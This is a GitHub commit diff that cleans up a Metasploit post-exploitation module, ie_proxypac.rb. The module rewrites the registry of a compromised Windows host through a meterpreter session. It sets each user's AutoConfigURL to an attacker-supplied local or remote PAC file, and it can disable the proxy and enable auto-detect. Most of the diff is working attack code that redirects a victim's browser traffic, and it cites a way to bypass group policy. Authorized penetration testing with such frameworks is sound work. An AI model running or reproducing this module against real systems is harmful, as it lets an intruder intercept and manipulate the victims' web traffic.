Skip to content

Commit 572ddac

Browse files
committed
Clean ie_proxypac
1 parent 7589b4c commit 572ddac

File tree

1 file changed

+97
-33
lines changed

1 file changed

+97
-33
lines changed

modules/post/windows/manage/ie_proxypac.rb

Lines changed: 97 additions & 33 deletions
Original file line numberDiff line numberDiff line change
@@ -13,48 +13,74 @@ def initialize(info={})
1313
super( update_info( info,
1414
'Name' => 'Windows Manage Proxy PAC File',
1515
'Description' => %q{
16-
This module configures Internet Explorer to use a PAC proxy file. By using the LOCAL_PAC
17-
option a PAC file will be created in the victim host. It's also possible to especify a
18-
remote PAC file (REMOTE_PAC option) by providing the full URL. Ej: http://192.168.1.20/proxy.pac
19-
},
16+
This module configures Internet Explorer to use a PAC proxy file. By using the LOCAL_PAC
17+
option, a PAC file will be created in the victim host. It's also possible to provide a
18+
remote PAC file (REMOTE_PAC option) by providing the full URL.
19+
},
2020
'License' => MSF_LICENSE,
2121
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
2222
'References' =>
23-
[
24-
[ 'URL', 'https://www.youtube.com/watch?v=YGjIlbBVDqE&hd=1' ],
25-
[ 'URL', 'http://blog.scriptmonkey.eu/bypassing-group-policy-using-the-windows-registry' ]
26-
],
23+
[
24+
[ 'URL', 'https://www.youtube.com/watch?v=YGjIlbBVDqE&hd=1' ],
25+
[ 'URL', 'http://blog.scriptmonkey.eu/bypassing-group-policy-using-the-windows-registry' ]
26+
],
2727
'Platform' => [ 'windows' ],
2828
'SessionTypes' => [ 'meterpreter' ]
2929
))
3030

3131
register_options(
3232
[
33-
OptPath.new('LOCAL_PAC', [false, 'Local PAC file.' ]),
34-
OptString.new('REMOTE_PAC', [false, 'Remote PAC file.' ]),
35-
OptBool.new('DISABLE_PROXY',[false, 'Disable the proxy server.', false]),
36-
OptBool.new('AUTO_DETECT', [false, 'Automatically detect settings.', false])
33+
OptPath.new('LOCAL_PAC', [false, 'Local PAC file.' ]),
34+
OptString.new('REMOTE_PAC', [false, 'Remote PAC file. (Ex: http://192.168.1.20/proxy.pac)' ]),
35+
OptBool.new('DISABLE_PROXY', [true, 'Disable the proxy server.', false]),
36+
OptBool.new('AUTO_DETECT', [true, 'Automatically detect settings.', false])
3737
], self.class)
3838
end
3939

4040
def run
4141
if datastore['LOCAL_PAC'].blank? and datastore['REMOTE_PAC'].blank?
42-
print_error("You must set a remote or local PAC file.")
42+
print_error("You must set a remote or local PAC file. Aborting...")
4343
return
4444
end
4545

4646
if datastore['REMOTE_PAC']
4747
@remote = true
48-
print_status("Setting a remote PAC file ...")
49-
enable_proxypac(datastore['REMOTE_PAC'])
48+
print_status("Setting automatic configuration script from a remote PAC file ...")
49+
res = enable_proxypac(datastore['REMOTE_PAC'])
50+
unless res
51+
print_error("Error while setting an automatic configuration script. Aborting...")
52+
return
53+
end
5054
else
51-
print_status("Setting a local PAC file ...")
55+
@remote = false
56+
print_status("Setting automatic configuration script from local PAC file ...")
5257
pac_file = create_pac(datastore['LOCAL_PAC'])
53-
enable_proxypac(pac_file) if pac_file
58+
unless pac_file
59+
print_error("There were problems creating the PAC proxy file. Aborting...")
60+
return
61+
end
62+
res = enable_proxypac(pac_file)
63+
unless res
64+
print_error("Error while setting an automatic configuration script. Aborting...")
65+
return
66+
end
5467
end
5568

56-
auto_detect_on if datastore['AUTO_DETECT']
57-
disable_proxy if datastore['DISABLE_PROXY']
69+
print_good("Automatic configuration script configured...")
70+
71+
if datastore['AUTO_DETECT']
72+
print_status("Enabling Automatically Detect Settings...")
73+
unless auto_detect_on
74+
print_error("Failed to enable Automatically Detect Settings. Proceeding anyway...")
75+
end
76+
end
77+
78+
if datastore['DISABLE_PROXY']
79+
print_status("Disabling the Proxy Server...")
80+
unless disable_proxy
81+
print_error("Failed to disable Proxy Server. Proceeding anyway...")
82+
end
83+
end
5884
end
5985

6086
def create_pac(local_pac)
@@ -69,65 +95,103 @@ def create_pac(local_pac)
6995
end
7096

7197
if write_file(pac_file,conf_pac)
72-
print_good ("PAC proxy configuration file written to #{pac_file}")
98+
print_status("PAC proxy configuration file written to #{pac_file}")
7399
return pac_file
74100
else
75-
print_error("There were problems creating the PAC proxy file.")
76101
return false
77102
end
103+
78104
end
79105

80106
def enable_proxypac(pac)
107+
proxy_pac_enabled = false
108+
81109
registry_enumkeys('HKU').each do |k|
82110
next unless k.include? "S-1-5-21"
83111
next if k.include? "_Classes"
112+
84113
key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings"
85114
value_auto = "AutoConfigURL"
86115
file = (@remote) ? "#{pac}" : "file://#{pac}"
116+
87117
begin
88-
registry_setvaldata(key,value_auto,file,"REG_SZ")
89-
rescue RuntimeError
118+
res = registry_setvaldata(key,value_auto,file,"REG_SZ")
119+
rescue ::RuntimeError, Rex::TimeoutError
90120
next
91121
end
92-
print_good ("Proxy PAC enabled.") if change_connection(16,'05',key + '\\Connections')
122+
123+
if res.nil? # Rex::Post::Meterpreter::RequestError
124+
next
125+
end
126+
127+
if change_connection(16,'05',key + '\\Connections')
128+
proxy_pac_enabled = true
129+
end
130+
end
131+
132+
if proxy_pac_enabled
133+
return true
134+
else
135+
return false
93136
end
94137
end
95138

96-
def auto_detect_on()
139+
def auto_detect_on
140+
auto_detect_enabled = false
141+
97142
registry_enumkeys('HKU').each do |k|
98143
next unless k.include? "S-1-5-21"
99144
next if k.include? "_Classes"
100145
key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings\\Connections"
101-
print_good ("Automatically Detect Settings on.") if change_connection(16,'0D',key)
146+
if change_connection(16,'0D',key)
147+
print_good ("Automatically Detect Settings on.")
148+
auto_detect_enabled = true
149+
end
150+
end
151+
152+
if auto_detect_enabled
153+
return true
154+
else
155+
return false
102156
end
103157
end
104158

105-
def disable_proxy()
159+
def disable_proxy
106160
value_enable = "ProxyEnable"
107161
profile = false
162+
108163
registry_enumkeys('HKU').each do |k|
109164
next unless k.include? "S-1-5-21"
110165
next if k.include? "_Classes"
111166
key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings"
112167
begin
113168
registry_setvaldata(key,value_enable,0,"REG_DWORD")
114169
profile = true
115-
rescue RuntimeError
170+
rescue ::RuntimeError, Rex::TimeoutError
116171
next
117172
end
118173
end
119-
print_good ("Proxy disable.") if profile
174+
175+
if profile
176+
print_good("Proxy disabled.")
177+
return true
178+
else
179+
return false
180+
end
120181
end
121182

122-
def change_connection(offset,value,key)
183+
def change_connection(offset, value, key)
123184
value_default = "DefaultConnectionSettings"
124185
begin
125-
value_con = registry_getvaldata(key,value_default)
186+
value_con = registry_getvaldata(key, value_default)
126187
binary_data = value_con.unpack('H*')[0]
127188
binary_data[offset,2] = value
128-
registry_setvaldata(key,value_default,["%x" % binary_data.to_i(16)].pack("H*"),"REG_BINARY")
129-
rescue RuntimeError
189+
registry_setvaldata(key, value_default, ["%x" % binary_data.to_i(16)].pack("H*"), "REG_BINARY")
190+
rescue ::RuntimeError, Rex::TimeoutError
130191
return false
131192
end
193+
194+
return true
132195
end
196+
133197
end

0 commit comments

Comments
 (0)